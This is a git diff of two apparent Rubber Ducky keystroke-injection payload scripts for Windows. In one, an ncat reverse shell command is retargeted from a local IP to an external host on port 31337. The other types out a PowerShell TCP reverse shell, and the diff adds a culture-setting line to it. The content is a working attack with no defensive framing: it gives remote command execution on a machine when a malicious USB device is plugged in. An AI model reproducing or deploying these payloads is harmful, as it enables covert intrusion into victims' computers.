diff --git a/WIN10-NC-Rev-Shell.txt b/WIN10-NC-Rev-Shell.txt index e8b4415..03240c3 100644 --- a/WIN10-NC-Rev-Shell.txt +++ b/WIN10-NC-Rev-Shell.txt @@ -25,6 +25,5 @@ DELAY 3000 STRING cd nmap-7.80 ENTER DELAY 2000 -STRING .\ncat.exe 192.168.0.99 2456 -e cmd.exe +STRING .\ncat.exe spve.lessmore.pw 31337 -e cmd.exe ENTER -WINDOWS DOWN diff --git a/ducky2.txt b/ducky2.txt index 55b43d7..a64ce23 100644 --- a/ducky2.txt +++ b/ducky2.txt @@ -12,7 +12,8 @@ STRING $stream = $client.GetStream(); DELAY 100 STRING [byte[]]$buffer = 0..65535|%{0}; DELAY 100 - +STRING function Set-CultureWin([System.Globalization.CultureInfo] $culture) { [System.Threading.Thread]::CurrentThread.CurrentUICulture = $culture ; [System.Threading.Thread]::CurrentThread.CurrentCulture = $culture } ; Set-CultureWin en-US ; [system.threading.thread]::currentthread.currentculture +DELAY 100 STRING while(($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) { DELAY 100 STRING $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $bytesRead); @@ -25,9 +26,9 @@ STRING $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); DELAY 100 STRING $stream.Write($sendbyte, 0, $sendbyte.Length); DELAY 100 -STRING $stream.Flush() +STRING $stream.Flush() DELAY 100 -STRING }; +STRING }; DELAY 100 STRING $client.Close() DELAY 100